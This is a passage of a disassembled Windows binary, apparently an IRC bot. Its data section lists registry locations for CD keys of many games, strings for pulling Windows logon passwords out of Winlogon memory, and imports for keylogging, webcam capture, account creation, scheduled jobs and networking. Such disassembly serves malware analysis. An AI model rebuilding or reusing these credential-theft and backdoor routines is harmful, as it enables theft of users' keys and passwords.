aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 43C80Ch,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 43C80Ch,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 43C80Ch,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 43C80Ch,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 43C80Ch,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 43C80Ch,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 43C80Ch,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 43C80Ch,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 43C80Ch,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 43C80Ch,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 43C80Ch,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		or	al, 0C8h
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 43C80Ch,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 43C80Ch,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 43C80Ch,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 43C80Ch,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 43C80Ch,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 43C80Ch,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 43C80Ch,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 43C80Ch,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 43C80Ch,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:004312ECo
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413645o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
					; ___:0042FA40o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
					; ___:0042FE50o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
